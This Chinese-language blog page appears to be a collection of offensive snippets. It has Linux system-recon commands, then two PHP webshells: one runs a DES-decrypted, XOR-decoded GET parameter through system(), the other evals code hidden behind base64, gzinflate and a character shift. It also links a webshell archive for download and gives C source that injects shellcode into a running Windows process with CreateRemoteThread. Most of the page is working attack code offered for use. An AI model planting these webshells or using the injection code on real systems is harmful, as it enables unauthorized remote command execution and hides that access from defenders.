?>Linux信息收集// 检查系统发行版本信息 cat /etc/issue // 显示系统发行信息 cat /etc/*-release // 显示系统发行版本 cat /etc/lsb-release // 显示 LSB (Linux Standard Base) 发行版本 cat /etc/redhat-release // 显示 Red Hat 发行版本DES Webshell<?php $a = $_GET['cmd']; // 从 URL 参数中获取 cmd 参数 $key = 'qaswedfr'; // 加密密钥 $decryptedData = openssl_decrypt(base64_decode($a), 'DES-ECB', $key, OPENSSL_RAW_DATA); // 使用 DES-ECB 解密数据 $flag = ""; // 存储解密后的数据 // 对每个解密后的字符使用异或运算处理 for($i=0; $i<strlen($decryptedData); $i++){ $test = $decryptedData[$i]; $flag .= chr(ord($test) ^ 0x10); // 使用 XOR 运算处理字符 echo "<br />"; } echo $flag; // 输出解密后的数据 system($flag); // 执行解密后的命令 ?><?php // 定义解密函数 function iJG($BHM) { $BHM = gzinflate(base64_decode($BHM)); // 使用 base64 解码和 inflate 解压缩 for($i=0; $i<strlen($BHM); $i++) { $BHM[$i] = chr(ord($BHM[$i]) - 1); // 每个字符减去 1 } return $BHM; } // 调用解密函数,传入加密数据 eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>Webshell大马{cloud title="源码" type="default" url="https://www.52tt.pro/usr/uploads/2022/08/webshell.zip" password=""/}{collapse}{collapse-item label="shellcode调窗口" open}#include <windows.h> // Windows API #include <stdio.h> // 标准输入/输出库 #include <string.h> // 字符串处理库 #include <tlhelp32.h> // 进程快照和工具帮助库 // 获取指定进程名的进程ID WORD GetProcessIdByName(const char *processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe32)) { do { if (strcmp(pe32.szExeFile, processName) == 0) { CloseHandle(hSnapshot); return pe32.th32ProcessID; } } while (Process32Next(hSnapshot, &pe32)); } CloseHandle(hSnapshot); return 0; } // 主函数 int main() { const char *targetProcessName = "0.exe"; // 目标进程名称 DWORD pid = GetProcessIdByName(targetProcessName); // 获取目标进程ID HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程,赋予所有访问权限 if (hProcess == NULL) { return 1; } // 分配远程内存用于存储注入代码 LPVOID pCode = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pCode == NULL) { CloseHandle(hProcess); return 1; } // 定义注入的机器码 BYTE Hexcode[] = { 0xC8, 0x00, 0x00, 0x00, // enter 0,0 0x68, 0x01, 0x00, 0x01, 0x52, // push 52010001 0xBB, 0x60, 0x38, 0x44, 0x00, // mov ebx, 0x443860 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x04, // add esp, 0x4 0x6A, 0x00, // push 0x0 0x6A, 0x01, // push 0x1 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x05, // push 0x5 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x18, // add esp, 0x18 0x6A, 0x00, // push 0x0 0x6A, 0x00, // push 0x0 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x06, // push 0x6 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xc4, 0x18, // add esp, 0x18 0xBB, 0x30, 0x38, 0x44, 0x00, // mov ebx, 0x443830 0xFF, 0xD3, // call ebx 0xC9, // leave 0xC3 // ret }; // 将机器码写入远程进程内存 if (!WriteProcessMemory(hProcess, pCode, Hexcode, sizeof(Hexcode), NULL)) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 创建远程线程执行注入的机器码 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, NULL, 0, NULL); if (hThread == NULL) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 等待线程执行完成 WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); // 释放远程内存 CloseHandle(hThread); CloseHandle(hProcess); return 0; }{/collapse-item}{/collapse}
2022年02月04日
74 阅读
0 评论
19 点赞
0:00